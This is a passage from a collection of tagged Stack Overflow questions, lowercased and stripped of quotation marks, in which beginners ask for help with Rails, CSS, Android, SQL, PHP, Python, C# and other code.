 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>class articlescontroller &lt; applicationcontroller
 
   def index
     @articles = article.all
   end
 
   def new
     @article = article.new
   end
 
   def create
     @article = article.new(article_params)
 
     if @article.save
       redirect_to @article
     else
       render  new 
     end
   end
 
   def show
     @article = article.find(params[:id])
   end
 
   def edit
     @article = article.find(params[:id])
   end
 
   def update
     @article = article.find(params[:id])
 
     if @article.update(article_params)
       redirect_to @article
     else
       render  edit 
     end
   end
 
   def destroy
     @article = article.find(params[:id])
     @article.destroy
 
     redirect_to articles_path
   end
 
 
 
 private
   def article_params
     params.require(:article).permit(:title  :text)
   end
 end</code></pre>
 </div>
 </div>
     comments_controller.rb:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>class commentscontroller &lt; applicationcontroller
 
   def create
     @article = article.find(params[:article_id])
     @comment = @article.comments.create(comment_params)
     redirect_to article_path(@article)
   end
 
   def destroy
     @article = article.find(params[:article_id])
     @comment = @article.comments.find(params[:id])
     @comment.destroy
     redirect_to article_path(@article)
   end
 
   private
     def comment_params
       params.require(:comment).permit(:commenter  :body)
     end
 end</code></pre>
 </div>
 </div>
     views/articles/show.html.erb:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p&gt;
   &lt;strong&gt;title:&lt;/strong&gt;
   &lt;%= @article.title %&gt;
 &lt;/p&gt;
 
 &lt;p&gt;
   &lt;strong&gt;text:&lt;/strong&gt;
   &lt;%= @article.text %&gt;
 &lt;/p&gt;
 
 &lt;h2&gt;comments&lt;/h2&gt;
 &lt;%= render @article.comments %&gt;
 
 &lt;h2&gt;add a comment:&lt;/h2&gt;
 &lt;%= render  comments/form  %&gt;
 
 &lt;%= link_to  edit article   edit_article_path(@article) %&gt; |
 &lt;%= link_to  back to articles   articles_path %&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;h1&gt;listing articles&lt;/h1&gt;
 &lt;%= link_to  new article   new_article_path %&gt;
 
 &lt;table&gt;
     &lt;tr&gt;
       &lt;th&gt;title&lt;/th&gt;
       &lt;th&gt;text&lt;/th&gt;
     &lt;/tr&gt;
 
   &lt;% @articles.each do |article| %&gt;
     &lt;tr&gt;
       &lt;td&gt;&lt;%= article.title %&gt;&lt;/td&gt;
       &lt;td&gt;&lt;%= article.text %&gt;&lt;/td&gt;
       &lt;td&gt;&lt;%= link_to  show   article_path(article) %&gt;&lt;/td&gt;
       &lt;td&gt;&lt;%= link_to  edit   edit_article_path(article) %&gt;&lt;/td&gt;
       &lt;td&gt;&lt;%= link_to  destroy   article_path(article) 
                     method: :delete  data: { confirm:  are you sure   } %&gt;&lt;/td&gt;
     x&lt;/tr&gt;
   &lt;% end %&gt;
 
 &lt;/table&gt;</code></pre>
 </div>
 </div>
     views/articles/_form.html.erb:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;%= form_for @article do |f| %&gt;
   &lt;% if @article.errors.any  %&gt;
   &lt;div id= error_explanation &gt;
     &lt;h2&gt;&lt;%= pluralize(@article.errors.count   error ) %&gt; prohibited
       this article from being saved:&lt;/h2&gt;
     &lt;ul&gt;
     &lt;% @article.errors.full_messages.each do |msg| %&gt;
       &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;
     &lt;% end %&gt;
     &lt;/ul&gt;
   &lt;/div&gt;
   &lt;% end %&gt;
   &lt;p&gt;
     &lt;%= f.label :title %&gt;&lt;br&gt;
     &lt;%= f.text_field :title %&gt;
   &lt;/p&gt;
 
   &lt;p&gt;
     &lt;%= f.label :text %&gt;&lt;br&gt;
     &lt;%= f.text_area :text %&gt;
   &lt;/p&gt;
 
   &lt;p&gt;
     &lt;%= f.submit %&gt;
   &lt;/p&gt;
 &lt;% end %&gt;</code></pre>
 </div>
 </div>
     views/comments/_comment.html.erb    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p&gt;
   &lt;strong&gt;commenter:&lt;/strong&gt;
   &lt;%= comment.commenter %&gt;
 &lt;/p&gt;
 
 &lt;p&gt;
   &lt;strong&gt;comment:&lt;/strong&gt;
   &lt;%= comment.body %&gt;
 &lt;/p&gt;
 
 &lt;p&gt;
   &lt;%= link_to  destroy comment   [comment.article  comment] 
                method: :delete 
                data: { confirm:  are you sure   } %&gt;
 &lt;/p&gt;</code></pre>
 </div>
 </div>
     views/comments/_form.html.erb    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;%= form_for([@article  @article.comments.build]) do |f| %&gt;
   &lt;p&gt;
     &lt;%= f.label :commenter %&gt;&lt;br&gt;
     &lt;%= f.text_field :commenter %&gt;
   &lt;/p&gt;
   &lt;p&gt;
     &lt;%= f.label :body %&gt;&lt;br&gt;
     &lt;%= f.text_area :body %&gt;
   &lt;/p&gt;
   &lt;p&gt;
     &lt;%= f.submit %&gt;
   &lt;/p&gt;
 &lt;% end %&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>class article &lt; activerecord::base
   has_many :comments  dependent: :destroy
   validates :title  presence: true 
                     length: { minimum: 5 }
 end</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>class comment &lt; activerecord::base
   belongs_to :articles
 
 end</code></pre>
 </div>
 </div>",ruby-on-rails
make a div s height matches its parent div s height which is set auto  this is really simple  yet i don t know how to solve this   <pre><code>&lt;html&gt;     &lt;body&gt;         &lt;div style= width:500px; background:black; &gt;             &lt;div style= display:inline-block; width:200px; height:300px; background:yellow; &gt;&lt;/div&gt;             &lt;div style= display:inline-block; vertical-align: top; width:100px; height:100%; background:pink; &gt;&lt;/div&gt;         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   here s my fiddle : <a href= http://jsfiddle.net/qg572/4/  rel= nofollow >fiddle</a>    i want the pink div s height matches the black div s which is set auto.    edit: actually i want to match the pink height to the yellow one so that the black s height matches the yellow s also.,css
how to download xml file from ftp using following android code   i used following code for downloading xml file from ftp to android phone memory using that i able to connect ftp but while retrieving xml to local memory it is giving following exception 07-19 15:01:03.721: debug/sntpclient(61): request time failed: java.net.socketexception: address family not supported by protocol  please help somebody thank you     <strong>java class</strong>   <pre><code>private void fnfiledownloadbuf() {      ftpclient client = new ftpclient(); fileoutputstream fos = null;  try {     //client.connect( ftp://ftp.qualityinaction.net/qia/questions/airlines/ );     client.connect( ftp.qualityinaction.net );     client.login( qualityinaction.net   password );     client.setfiletype(ftp.binary_file_type);      //     // the remote filename to be downloaded.     //    // string filename =  /qia/questions/airlines/index.xml ;     string filename = getfilesdir().getabsolutepath()+ file.separator +  /index.xml ;    // string filename =  /qia/questions/airlines/index.xml ;     file file = new file(filename);     fos = new fileoutputstream(file);      //     // download file from ftp server     //     //client.retrievefile( /  + filename  fos);     client.retrievefile( /qia/questions/airlines/index.xml;type=i   fos);    // client.retrievefile( getfilesdir().getabsolutepath()+ file.separator +  /index.xml   fos); } catch (ioexception e) {     e.printstacktrace(); } finally {     try {         if (fos != null) {             fos.close();         }         client.disconnect();     } catch (ioexception e) {         e.printstacktrace();     } }  } </code></pre>   <strong>manifest xml file</strong>   <pre><code>&lt;uses-permission android:name= android.permission.internet &gt;&lt;/uses-permission&gt; </code></pre>   <strong>exception</strong>   <pre><code>exception 07-19 15:01:03.721: debug/sntpclient(61): request time failed: java.net.socketexception: address family not supported by protocol </code></pre>,android
scrollbar appears => body movements  the following is a pretty simple liquid code template  where i keep this layout from getting too wide on a large monitor and a min-width may be desirable to keep this layout from getting too narrow. the container surrounds all other divs giving them their percentage-based width.   <pre><code>body {     font:  arial  helvetica  sans-serif;     background: #ccc;     margin: 0;     padding: 0;     color: #000; }  .container {     width: 90%;     max-width: 1260px;     min-width: 780px;     background: #fff;     margin: 0 auto;  } </code></pre>   when browsing on pages with only low content  the body doesn’t shrink  move or shake (because the scrollbar doesn’t appear). when browsing between the different kind of pages (low content-no scrollbar and high content-scrollbar appears) the body moves a little bit and causes the whole web site browsing  a shaking look.     how to avoid the above page movements  i don’t want to achieve a solution by setting <code>overflow:scroll;</code> since i don’t want always displaying the scrollbars.     any help would be much appreciated  thanks  mike,css
using a function to find letters and words  i m trying to get the answer of the number of letters/number of words... i m having problems with the word counting.    actually in here i only declare that a new word is if there is a space  tab  of a newline  but is still doesn t work..     this is my function:   <pre><code>int num_of_letters_words() {     int numberofletters = 0;     int numberofwords = 0;     int userinput;     int answer;     printf( please enter your input:\n );     while ((userinput = getchar()) != eof)     {         if (ispunct(userinput))             continue;          else if(userinput ==  \n )             continue;          else if (userinput ==    )             continue;          else if (iscntrl(userinput))             continue;          else if (userinput ==    )             ;         else            numberofletters++;          if (userinput ==     || userinput ==  \n  || userinput ==  \t )             numberofwords++;     }     answer = numberofletters/numberofwords;     return answer; } </code></pre>   only in the end of the function you can see the words counter... what is wrong here,c
how server side events are called in .net  i am a beginner to .net  i have some doubts in my mind. can anybody help me to sort out    <ol> <li> when a user requests for a file(*.aspx)  the request first goes to iis server and with the help of handlers and modules it finds the type of file that need to be processed and sent back to the client. but while displaying on the cilent machine the content of the .aspx file will be displayed as html controls. how are the events generated at the client side and sent back to the server  </li> <li> i know runat=server tells the control will be processed at serverside. but every time why we need to write  runat=server . is there any asp.net control which runs at client side  </li> </ol>,asp.net
number of iphones required to test an iphone application  i am new to ios app development...i want to know the number of iphone required to test my ios app. suppose i developed an application the it needed to be tested on different ios versions (eg. ios 5  6 and 7 etc) and also different iphone hardwares(eg. iphone 4  4s  5s).    also i want to know that whether i need a completely separate iphone to test my app on ios 7,ios
pass selected <option> in <select> tag to next page in rails  i have created a  using following code   <pre><code>&lt;select name= books &gt; &lt;% books.each do |book| %&gt; &lt;option value= &lt;%= book.id%&gt; &gt; &lt;%= book.name %&gt; &lt;/option&gt; &lt;/select&gt; &lt;% end %&gt; </code></pre>   i have a button on the same page    <pre><code>&lt;button&gt;view book details&lt;/button&gt; &lt;button&gt;delete book&lt;/button&gt; </code></pre>   now i want to take user to different pages depending upon the button he clicks. say when he clicks on  view book details   i want to land him to <code>/book/view</code> and if he clicks on  delete book   i want to land him to <code>/book/delete</code>    when i land user to the desired page  i want to pass the  selected by user using  to the landing page. something like this   <ul> <li>say  if user choose book-<strong>1</strong>  and clicks on  view book details   i want <code>/book/view id=1</code></li> <li>if user choose book-<strong>3</strong>  and clicks on  view book details   i want <code>/book/view id=3</code></li> <li>if user choose book-<strong>5</strong>  and clicks on  delete book   i want <code>/book/delete id=5</code></li> </ul>   <strong>how can i do this  </strong>,ruby-on-rails
is uiimageview with uiviewcontentmodecenter smart about anti-aliasing   this may be wishful thinking  but is ios smart enough to avoid blurring my image when it s positioning is handled by uiviewcontentmodecenter     i need the image contained within my uiimageview to be centered within a certain area. the easiest way i could think of  is to make my imageview the size of this area and then to set uiviewcontentmodecenter. i m usually careful to set my image positions to whole numbers to avoid blurring due to anti-aliasing.   <pre><code>cgrect centeredinarea = cgrectmake(0  0  self.frame.size.width  30.0f); myimageview.frame = centeredinarea; myimageview.contentmode = uiviewcontentmodecenter; </code></pre>,ios
mysql: get all tables in database that have a column called xyz  mysql: get all tables in database that have a column called xyz,mysql
angularjs $http response data structure varies  i am doing an $http call in angularjs as   <pre><code>  url= data/somejson.json ;   $http.get(url).then(function(data){       var requiredcontent = data.requiredcontent;// case 1       var requiredcontent = data.data.requiredcontent; // case 2     }); </code></pre>   and the content of somejson are as <code>{ requiredcontent : { a : b }};</code>    is there any particular reason for getting data at different levels as shown above  in some cases i get data as in case 1 and in others i get as in case 2. i do not know the reason for such behaviour. kindly help me in understanding this behaviour.,angularjs
.net windows service running external applications  i m writing a windows service which will be used to monitor some other services and runs an external application if the service goes down.    i ve got most of it working  the windows service runs  the code monitoring the other services works a treat but i m having problems running the external app when there s a failure.    the external app is just a console app which a bunch of command line switches  but i m not 100% sure if the switches are set right or what so i d <strong>a)</strong> like to see what the command being executed is and <strong>b)</strong> see any output messages from it.    i ve got this code:   <pre><code>process p = new process(); p.startinfo.filename =  c:\myexternalapp.exe ; p.startinfo.arguments =  stop ; p.start(); p.waitforexit(); </code></pre>   so that all runs through and i don t have any exceptions thrown  but i don t know if the external app didn t work nor can i see any messages from it.    how do i view the output of the app,.net
mysql: copy values from table to another by condition  i need to copy values from  points  table (where user.id = points.user_id and points.type =  all )     for all users    tables structures:    user:   <pre><code>id      name      points 1      john          0 2      larry         0 3      sara          0 4      sand          0 5      mary          0 </code></pre>   points:   <pre><code>id     user_id     type     value 1          1       all       34 2          1       cat        5 3          2       all        2 4          3       day        1 5          4       all        55 </code></pre>   thanks,mysql
c# nullreferenceexception with discordsharp  fairly new to c#  and as a beginning project  i made a discord bot for one of my teams.    here s the code:   <pre><code>using discordsharp; if (e.messagetext.startswith( !soldier  )) {     bool isadmin = false;     list&lt;discordrole&gt; roles = e.author.roles;     foreach (discordsharp.objects.discordrole role in roles)     {         if (blacklist.contains(e.author.username) == false)         {             if (role.name.contains( moderator ) | role.name.contains( ▌▌▌▌⚡ high command ))             {                 isadmin = true;             }         }     }     if (isadmin)     {         e.channel.sendmessage( [finding..] );         string str1 = e.messagetext.substring(e.messagetext.indexof(   ) + 1);         var member = e.channel.parent.getmemberbyusername(str1  false);          var server = client.getserverslist().find(x =&gt; x.name.tolower() ==  army of the galactic republic );         list&lt;discordrole&gt; roles = e.author.roles;         foreach (discordsharp.objects.discordrole role in roles)         {             var role = roles.find(x =&gt; x.name.tolower() ==  soldier );             console.writeline(role);             if (member == null)             {                 e.channel.sendmessage( invalid user );             }             else             {             }             console.writeline(member);             console.writeline(server);             e.channel.sendmessage( [found..] );             e.channel.sendmessage( [found user:   + str1);             client.assignroletomember( server   role   member);             e.channel.sendmessage( [roled] user:   + str1);         }     }     else     {         e.channel.sendmessage( denied action. );     } } </code></pre>   after doing some tests  it appears that <code>server</code> was <code>null</code>. if anyone can help fix it  i would gladly appreciate it!,c#
save listview data to same excel file but different sheet  i already know how to save in excel using openfiledialog. but what i want to happen is that when i save another file  i want it to be saved in my existing file but in a different sheet. can you guys help me     this is my code for saving   <pre><code>public sub saveexcelfile(byval filename as string)             dim xls as new excel.application             dim sheet as excel.worksheet             dim i as integer             xls.workbooks.add()             sheet = xls.activeworkbook.activesheet             dim row as integer = 1             dim col as integer = 1             for each item as listviewitem in listview1.items                     for i = 0 to item.subitems.count - 1                             sheet.cells(row  col) = item.subitems(i).text                             col = col + 1                     next                     row += 1                     col = 1             next             xls.activeworkbook.saveas(filename)             xls.workbooks.close()             xls.quit()     end sub   private sub btnsave_click(byval sender as system.object  byval e as system.eventargs) handles btnsave.click             dim savefiledialog1 as new savefiledialog             savefiledialog1.filter =  excel file|*.xlsx              savefiledialog1.title =  save an excel file              savefiledialog1.showdialog()             if savefiledialog1.filename &lt;&gt;    then                     saveexcelfile(savefiledialog1.filename)             end if             messagebox.show( record saved! )     end sub </code></pre>,.net
count interest in common in two table  i made a huge sql line for a school project of meeting website and i have a little problem for a query to find the better person with multiple criteria (localisation  sexual orientation and center of interest)  the only missing in my query is the interest.     i have a little problem for having the number of interest in common for one user. my table are like this   <pre><code>users +---+----------+ |id |   user   | ... +---+----------+ |1  |user1     | ... +---+----------+ |2  |user2     | ... +---+----------+ |3  |user3     | ... +---+----------+  usersinterest : +---+-------------+-------------+ |id |   id_user   | id_interest | +---+-------------+-------------+ |1  |1            | 1           | +---+-------------+-------------+ |2  |1            | 2           | +---+-------------+-------------+ |3  |2            | 1           | +---+-------------+-------------+ |4  |2            | 3           | +---+-------------+-------------+ |5  |3            | 4           | +---+-------------+-------------+ |6  |3            | 5           | +---+-------------+-------------+ </code></pre>   i want a column with the interest in commun with the user 1. they share the id 1 with users 2 and have nothing in common with users 3. this will giving this with user1 by example :   <pre><code>+---+----------+----------------+ |id |   user   | common_interest| +---+----------+----------------+ |2  |user2     |1               | &lt;&lt; have idinterest 1 in common +---+----------+----------------+ |3  |user3     |0               | +---+----------+----------------+ </code></pre>   i dont find a working solution on the internet who working.,sql
rails: saving duration between  events   long story short  each time a user views a resource  an event model object is created.  each event has a duration column.  how can i best save the duration between each event    <pre><code>class event   belongs_to :session end </code></pre>   my gut reaction was to use an after_save callback each time a new event was created  calculate the time between  now  and the <em>previous</em> event  and save that as the previous event s duration.  however  this creates a  waterfall  effect  as the callback is then executed as the previous event is saved  and then the previous before that  and so on.    any suggestions     thanks!,ruby-on-rails
div in the center  <pre><code>&lt;li class= row &gt;     &lt;div class= small-6 column center &gt;     &lt;img src= test.jpg &gt; &lt;/div&gt;     &lt;div class= small-6 column center &gt;         &lt;p&gt;hello&lt;/p&gt;     &lt;/div&gt;  &lt;/li&gt; </code></pre>   i wish to make the hello p in the centre (vertically and horizontally) of it s column.    i do this with the styles:   <pre><code> p{     bottom: 0;     left: 0;     margin: auto;     position: absolute;     top: 0;     right: 0; } </code></pre>   the problem is  the second column is not the same height as the first column. how can i make it so that it is     here s my styles for columns:   <pre><code>.row{     width: 100%;     float: left;      .column{         width: 100%;         position: relative;         float: left;         display: block;         background: yellow;         -webkit-box-sizing: border-box;         -moz-box-sizing: border-box;         box-sizing: border-box;         padding: 10px;     }          .small-1 {             width: 8.33333%; }          .small-2 {             width: 16.66667%;}          .small-3 {             width: 25%;}          .small-4 {             width: 33.33333%; }          .small-5 {             width: 41.66667%; }          .small-6 {             width: 50%; }          .small-7 {             width: 58.33333%; }          .small-8 {             width: 66.66667%; }          .small-9 {             width: 75%; }          .small-10 {             width: 83.33333%; }          .small-11 {             width: 91.66667%; }          .small-12 {             width: 100%; }   }  .pull-left{     float: left; } .pull-right{     float: right; }  .center{     text-align: center; } </code></pre>,css
question regarding class with static functions and namespace in php  i am using php 5.2.14 at work  so there is no namespace option for me. is it acceptable for me to substitute classes with static functions for namespacing     for example  we have lots of  handy  function lying around that does miscellaneous things that are all bunched into this one file  and they tend to get messy. i would love to see them follow some sort of organizing logic.    so my solution is this... i want to just create classes called  stringtools  or  datetools  and every time we need to do use those function i would simply call somethingtools::funciton_name(...). it would be simple class filled with static functions  with an empty constructor  made purely for the sake of namespacing and organizing.    it would be easy to manage and very organized  because related functions will be organized into it s own file or even folder  the class calls will be handled by autoload  so we don t even have to include anything.    is this an acceptable approach to the problem  or is there a better way to deal with organizing functions in pre 5.3 php so programmers doesn t step on each others feet when naming them  unorganized stuff really really bugs me and i m actually looking forward to the hours of extra work i ll be spending sorting this out.,php
add const to a string   i just startet learning react native an got a problem.    i fetch a php file from my server and need to add a id parameter to the url. the id parameter is saved in a const.    how can i add my const to the end of the fetch url    <pre><code>const round = 1;  return fetch( http://myurl/data.php id= ) </code></pre>,javascript
confusion with window.load function  is there any difference between using the functions:   <pre><code> $(window).load(function() {         //do something   }); </code></pre>   and   <pre><code>  $(window).on( load   (function() {         //do something   }); </code></pre>   basically i have a page which loads a number of images (sometimes around 100). i prefer not showing the page until all the images have loaded. what i see is  if i use the second function  sometimes the function is never executed. cannot understand why this is happening,jquery
what is the class equivalent of functools.partial(func myargs)   i am using partial to add myargs to my function calls. but calculating the value of myargs requires reading it from a file. i would like to convert the partial decorator to a class. how can i do it     <pre><code>class withhostandtoken(object):      def __init__(self  func):         self.host =            self.token =          def __call__(self  func):          if self.host ==   :             self.host = cfg.gethost()         if self.token ==   :             self.token == cfg.gettoken()          return functools.partial( func   self.host  self.token) </code></pre>   the error i am getting is:   <blockquote>    return functools.partial( func   self.host  self.token)  typeerror:   the first argument must be callable  </blockquote>   here is the none class version of this:   <pre><code>def withhostandtoken(func):     host = cfg.gethost()     token = cfg.gettoken()     return functools.partial(func   host  token) </code></pre>   and this works with:   <pre><code>@withhostandtoken def myfunction(host  token  other_arg):        do something     myfunction(other_arg= somevalue ) </code></pre>,python
remove http:// or https:// from variable  i am using this code to remove the http:// part of a url but it doesn t do anything - it just returns the full url. what am i doing wrong    <pre><code>&lt; php $str = the_field( fl_website );$str = preg_replace( #^https ://#       rtrim($str  / ));echo $str;  &gt; </code></pre>,php
changing app bar background  can anyone help  i am trying to change the colour of the app bar. i am using a basic activity and following advice from the top answer found  <a href= https://stackoverflow.com/questions/8024706/how-do-i-change-the-background-color-of-the-actionbar-of-an-actionbaractivity-us >here</a>. using android 7 api 24 if that is any help.    styles.xml   <pre><code>&lt;resources&gt;      &lt;!-- base application theme. --&gt;     &lt;style name= apptheme  parent= theme.appcompat.light.darkactionbar &gt;         &lt;!-- customize your theme here. --&gt;         &lt;item name= colorprimary &gt;@color/colorprimary&lt;/item&gt;         &lt;item name= colorprimarydark &gt;@color/colorprimarydark&lt;/item&gt;         &lt;item name= coloraccent &gt;@color/coloraccent&lt;/item&gt;     &lt;/style&gt;      &lt;style name= apptheme.noactionbar &gt;         &lt;item name= windowactionbar &gt;false&lt;/item&gt;         &lt;item name= windownotitle &gt;true&lt;/item&gt;      &lt;/style&gt;      &lt;style name= apptheme.appbaroverlay  parent= themeoverlay.appcompat.dark.actionbar  /&gt;      &lt;style name= apptheme.popupoverlay  parent= themeoverlay.appcompat.light  /&gt;       &lt;style name= mytheme  parent= @android:style/theme.holo.light &gt;             &lt;item name= android:actionbarstyle &gt;@style/myactionbar&lt;/item&gt;     &lt;/style&gt;      &lt;style name= myactionbar  parent= @android:style/widget.holo.light.actionbar &gt;             &lt;item name= android:background &gt;#cc0000&lt;/item&gt;     &lt;/style&gt;  &lt;/resources&gt; </code></pre>   androidmanifest.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.example.james.task02b &gt;      &lt;application         android:allowbackup= true          android:icon= @mipmap/ic_launcher          android:label= @string/app_name          android:supportsrtl= true          android:theme= @style/mytheme &gt;         &lt;activity             android:name= .mainactivity              android:label= @string/app_name              android:theme= @style/apptheme.noactionbar &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                  &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;     &lt;/application&gt;  &lt;/manifest&gt; </code></pre>,android
rails - case monitoring app - want to display data from 2 tables in the view  model:   <pre><code>class case &lt; activerecord::base   belongs_to :employee  :foreign_key =&gt; :input_id end </code></pre>   controller   <pre><code>def index   @cases = case.all end </code></pre>   view   <pre><code>&lt;% @cases.each do |c| %&gt;   &lt;tr&gt;     &lt;td&gt;&lt;%= c.employee.name %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= c.problem %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= c.assigned_id %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= c.solution %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= c.verified_id %&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;% end %&gt; </code></pre>   how do i make the view display the employee name who owns the assigned_id  (i m already using employee.name to display the name for the input_id column ),ruby-on-rails
am i imagining things  list being made a reference to a second list instead of being made a copy of the second list  this code seems to be making <code>_cleanrepositorycollection</code> a reference to <code>_currenttextfile.repositorycollection</code> instead of making it a copy of <code>_currenttextfile.repositorycollection</code>:   <pre><code>_cleanrepositorycollection = _currenttextfile.repositorycollection; </code></pre>   the datatype is <code>list&lt;repository&gt;</code>.,c#
merge uiview with uiimageview before grabbing a screenshot  i wish to combine the background (uiimageview) to the overlying uiview (myview) and then take a screenshot of the merged image. i am using the code below  but the background completely covers my uiview... any suggestion please    <pre><code>uiimageview *viewtobeaddedasbackground = backgroundimageview;     viewtobeaddedasbackground.frame = cgrectmake(0 0 770 410);  [myview addsubview:viewtobeaddedasbackground];      uigraphicsbeginimagecontext(myview.frame.size); [myview.layer renderincontext:uigraphicsgetcurrentcontext()]; uiimage *myview_image = uigraphicsgetimagefromcurrentimagecontext(); uigraphicsendimagecontext(); uiimagewritetosavedphotosalbum(myview_image  nil  nil  nil); </code></pre>,iphone
angularjs format text to vertical  i want to use angularjs to format the text.  i have text like this  backlog . i want to format this text to:    b <br /> a <br /> c <br /> k <br /> l <br /> o <br /> g    thanks,angularjs
what is a static constructor   this question was asked to me in an interview:   <blockquote>    what is a static constructor   </blockquote>   does it exist in c++  if yes  please explain it with an example.,c++
connect to sqlite  i m having some issue connecting to my sqlite database.. i m using xcode version 4.4.1     here s my code..    <pre><code>nsstring *docsdir; nsarray *dirpaths;  // get the documents directory dirpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);  docsdir = [dirpaths objectatindex:0];  // build the path to the database file databasepath = [[nsstring alloc] initwithstring: [docsdir stringbyappendingpathcomponent: @ signature.db ]];  nsfilemanager *filemgr = [nsfilemanager defaultmanager];  if ([filemgr fileexistsatpath: databasepath ] == no) {     const char *dbpath = [databasepath utf8string];      if (sqlite3_open(dbpath  &amp;database) == sqlite_ok)     {         status.text = @ connected.. ;      } else {         status.text = @ failed to open/create database.. ;     } }  [filemgr release]; </code></pre>   any suggestion..     thanks      boom,objective-c
select a column by condition in insert query  i want to insert data into one column based on condition.   <pre><code>declare @section nvarchar(40) set @section = section1   insert [table]    (        class_of_business         financial_status         source_of_funds         source_of_wealth             select case                 when @section =  section1  then   section_1_operator_comments                  when @section =  section2  then   section_2_operator_comments                  else  section_3_operator_comments  end    ) values ( private   good   bank   business   section comments ) </code></pre>   based on the user input    <blockquote>    comments(section1  section2 or section3)  </blockquote>   need to insert in respective column.,sql
how do you get the comment count of the post through mysql query   i would like to get numbers of comments for each posts using mysql.    i have two tables  one is post table and the other is comment table. post table has <code>id</code>  <code>title</code> and <code>content</code> field while comment has <code>id</code>  <code>post_id</code>  <code>author</code> and <code>comment</code> field.    the result that would like to achieve is like   <pre><code>--------------------------------------------- title               comment count --------------------------------------------- my fancy post             2 --------------------------------------------- </code></pre>   let me know if you have confusion about my question.,mysql
how do i send/receive soap messages usiung .net  i am new to soap. i have to send xml using soap to an external web service on the internet and parse the response.     how can i do this using the .net framework 3.5,.net
javascript table cell selection  i want to achive excel sheet select functionality into my html table.    ie  selection of cells in the matrix format such as 1x1 2x2 3x3 etc     please provide the sample code.    sorry couldn t upload the images...   <pre><code>--------- | 1 | 4 | --------- | 2 | 3 | --------- </code></pre>   just open the excel sheet and select two cells in one column(as in fig. cell 1 and cell 2) and then move to cell on the right(cell 3)  here automatically the upper cell gets selected (cell 4)... i need the same functionality,javascript
update un-null columns from 2 source tables into null columns of target table  i have table a   <pre><code>id|pos|location|item    |color ------------------------------ 1 | 1 |abc     |a       | red 1 | 2 |abc     |b       | blue 1 | 3 |abc     |null    | yellow 1 | 4 |abc     |d       | null 2 | 1 |abc     |a       | black 2 | 2 |abc     |b       | blue 2 | 3 |abc     |c       | red 3 | 1 |abc     |null    | brown 4 | 1 |abc     |a       | white 4 | 2 |abc     |b       | red   4 | 3 |abc     |null    | blue  4 | 4 |abc     |null    | yellow 5 | 1 |abc     |a       | null 5 | 2 |abc     |c       | null 5 | 3 |abc     |d       | blue 6 | 1 |abc     |a       | red 6 | 2 |abc     |b       | brown 6 | 3 |abc     |c       | white 7 | 1 |abc     |null    | red  7 | 2 |abc     |b       | null 7 | 3 |abc     |c       | yellow 8 | 1 |abc     |a       | null 8 | 2 |abc     |b       | black 8 | 3 |abc     |c       | blue 8 | 4 |abc     |d       | red 8 | 5 |abc     |e       | brown 9 | 1 |abc     |null    | white 9 | 2 |abc     |c       | blue 9 | 3 |abc     |d       | yellow 9 | 4 |abc     |e       | null 10 | 1 |abc     |a       | null 10 | 2 |abc     |b       | white 10 | 3 |abc     |c       | black 11 | 1 |abc     |a       | blue 11 | 2 |abc     |b       | null </code></pre>   table b   <pre><code>id|pos|location|item     1 | 1 |abc     |a        1 | 2 |abc     |b        1 | 3 |abc     |b        1 | 4 |abc     |d        2 | 1 |abc     |a        2 | 2 |abc     |b        2 | 3 |abc     |c        3 | 1 |abc     |e        4 | 1 |abc     |a        4 | 2 |abc     |b        4 | 3 |abc     |f        4 | 4 |abc     |null     5 | 1 |abc     |a        5 | 2 |abc     |c        5 | 3 |abc     |null       6 | 1 |abc     |a        6 | 2 |abc     |b    </code></pre>   and table c   <pre><code>id|pos|location   |color -------------------------- 1 | 1 |abc        | red 1 | 2 |abc        | blue 1 | 3 |abc        | yellow 1 | 4 |abc        | red 2 | 1 |abc        | black 2 | 2 |abc        | blue 2 | 3 |abc        | violet 3 | 1 |abc        | brown 4 | 1 |abc        | white 4 | 2 |abc        | red 4 | 3 |abc        | blue  4 | 4 |abc        | yellow 5 | 1 |abc        | white  5 | 2 |abc        | black 5 | 3 |abc        | blue  6 | 1 |abc        | red   6 | 2 |abc        | brown 6 | 3 |abc        | white 7 | 1 |abc        | red   7 | 2 |abc        | blue  7 | 3 |abc        | yellow 8 | 1 |abc        | purple  8 | 2 |abc        | black 8 | 3 |abc        | pink  8 | 4 |abc        | red   8 | 5 |abc        | brown 9 | 1 |abc        | white 9 | 2 |abc        | blue  9 | 3 |abc        | yellow 9 | 4 |abc        | null  10 | 1 |abc        | cyan 10 | 2 |abc        | white 10 | 3 |abc        | black 11 | 1 |abc        | indigo 11 | 2 |abc        | null  </code></pre>   i want to copy the items column from table b (not null items) and colors column from table c (not null colors) to update them into table a only if the item column is null or color item in table a is null.     thanks,sql
